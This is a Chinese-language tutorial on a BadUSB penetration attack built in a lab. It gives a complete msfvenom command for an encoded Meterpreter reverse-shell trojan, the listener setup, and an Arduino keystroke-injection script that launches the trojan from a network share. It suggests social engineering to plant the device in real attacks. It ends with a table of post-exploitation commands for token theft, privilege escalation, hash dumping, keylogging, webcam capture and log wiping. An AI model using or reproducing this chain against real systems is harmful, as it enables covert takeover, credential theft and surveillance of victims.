文章目录
所需工具:windows10主机,windows10靶机,kali 2020.01虚拟机,Badusb(这里我用的是Arduino Micro的板子),EP-N8508GS无线网卡
1. msf部分
1.1 生成木马文件
首先利用kali中的msf生成木马文件
注:这里用的是最简单的方法。木马非免杀,若需深入,可以参考Metasploit 整理笔记
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.42.54 LPORT=50050 -f exe > door.exe
其中:
- -p:产生一个payload;
- windows/meterpreter/reverse_tcp:是指windows下的一个tcp漏洞;
- -e x86/shikata_ga_nai:这是编码方式;
- -i 5:编码次数;
- -b ‘\x00’:避免运行时会出现的值;
- LHOST:kali虚拟机的IP(通过
ifconfig
查找); - LPORT:填写自己的端口;
- -f exe:生成.exe的可执行文件;
- door.exe:文件名.exe。
1.2 配置监听环境
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx
set LPORT xxxxx
show options
exploit
-
msfconsole 是打开msf的指令(如下图)
-
LHOST和LPORT还是填之前木马文件中的IP和端口号(如下)
2. Badusb部分
2.1 收集数据
由于只是一次渗透测试,所以我只是将木马放在了主机的共享文件夹中。因此只需收集主机的IP地址即可(通过ipconfig
查找)。
2.2 编写脚本并上传
根据之前收集到的信息,我们可以在Arduino IDE中进行脚本的编写(在Microsoft Storek中可免费下载):
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(500);
Keyboard.press(KEY_LEFT_GUI);
delay(300);
Keyboard.press('r');
delay(500);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.releaseAll();
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(750);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.release(KEY_LEFT_SHIFT);
Keyboard.println("start \\\\xxx.xxx.xxx.xxx\\share\\door.exe");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();
}
void loop() {
}
- Keyboard.begin() 开始;
- Keyboard.press() 按下按键;
- Keyboard.release() 松开按键;
注:Keyboard.press()与Keyboard.release()必须成对出现! - Keyboard.print() 输入文本;
- Keyboard.println() 输入文本并回车;
- Keyboard.releaseAll() 释放所有按键;
- Keyboard.end() 结束;
- delay() 延时(单位为毫秒)。
验证通过后开始上传
注意:脚本上传后会在电脑上运行一遍,注意使用文本编辑器吸收按键。
常用按键表 |
---|
KEY_LEFT_CTRL |
KEY_LEFT_SHIFT |
KEY_LEFT_ALT |
KEY_LEFT_GUI |
KEY_RIGHT_CTRL |
KEY_RIGHT_SHIFT |
KEY_RIGHT_ALT |
KEY_RIGHT_GUI |
KEY_UP_ARROW |
KEY_DOWN_ARROW |
KEY_LEFT_ARROW |
KEY_RIGHT_ARROW |
KEY_BACKSPACE |
KEY_TAB |
KEY_RETURN |
KEY_ESC |
KEY_INSERT |
KEY_DELETE |
KEY_PAGE_UP |
KEY_PAGE_DOWN |
KEY_HOME |
KEY_END |
KEY_CAPS_LOCK |
KEY_F1 |
KEY_F2 |
KEY_F3 |
KEY_F4 |
KEY_F5 |
KEY_F6 |
KEY_F7 |
KEY_F8 |
KEY_F9 |
KEY_F10 |
KEY_F11 |
KEY_F12 |
3. 配置局域网环境
3.1 创建局域网环境
我们使用WIFI搭建局域网,由于虚拟机没有内设无线网卡,所以需要外接无线网卡。这里我选用的是EP-N8508GS无线网卡(之前玩无线的时候买的,具有侦听功能)。
3.2 设置共享文件夹
将木马文件放入一个空的文件夹中,并将其配置为共享文件夹:
4. 开始攻击
4.1 开始监听
在kali上的msf中键入exploit开始监听
4.2 近源渗透
将Badusb插入靶机中(实战中可以通过社工的方法),等待其开始木马。
注:不同机型可能会出现不同情况,可视情况修改Arduino脚本
4.3 完成攻击
当出现如上显示时,就意味着靶机已在你的掌控之下,之后便可通过指令对其进行操控:
help | 查看帮助 |
run scriptname | 运行脚本 |
sysinfo | 系统基本信息 |
ls | 列目录 |
use priv | 运行提权组件 |
ps | 列进程 |
migrate PID | PID 迁移 |
use incognito token | 窃取 |
list_tokens -u | 查看可用用户token |
list_tokens -g | 查看可用组token |
impersonate_token DOMAIN_NAME\USERNAME | 模仿token |
steal_token PID | 窃取PID 所属token 并模仿 |
drop_token | 停止模仿token |
getsystem | 获取SYSTEM 权限 |
shell | 运行shell |
execute -f cmd.exe -i | 交互式运行cmd |
execute -f cmd.exe -i -t | 使用可用token 运行 |
execute -f cmd.exe -i -H -t | 同上,同时隐藏进程 |
rev2self | 返回至初始用户 |
reg command | 修改注册表 |
setkesktop number | 切换至另一已登录用户屏幕 |
screenshot | 截屏 |
upload file | 上传文件 |
download file | 下载文件 |
keyscan_start | 开始截取击键记录 |
keyscan_stop | 停止截取击键记录 |
getprivs | 尽可能提升权限 |
uictl disable/enable keyboard/mouse | 获取键盘或鼠标的控制权 |
background | 将当前meterpreter shell 转入后台 |
hashdump | 导出所有用户hash |
use sniffer | 加载嗅探模块 |
sniffer_interfaces | 查看可用网卡接口 |
sniffer_dump interfaceID pcapname | 开始嗅探 |
sniffer_start interfaceID packet-buffer | 指定buffer 范围嗅探 |
sniffer_stats interfaceID | 抓取统计信息 |
sniffer_stop interfaceID | 停止嗅探 |
add_user username password -h ip | 添加用户 |
add_group_user “Domain Admins” username -h ip | 添加用户至管理组 |
clearev | 清空日志 |
timestomp | 改变文件属性如创建时间等 |
reboot | 重启 |
webcam_list | 查看摄像头 |
webcam_snap | 通过摄像头拍照 |
webcam_stream | 通过摄像头开启视频 |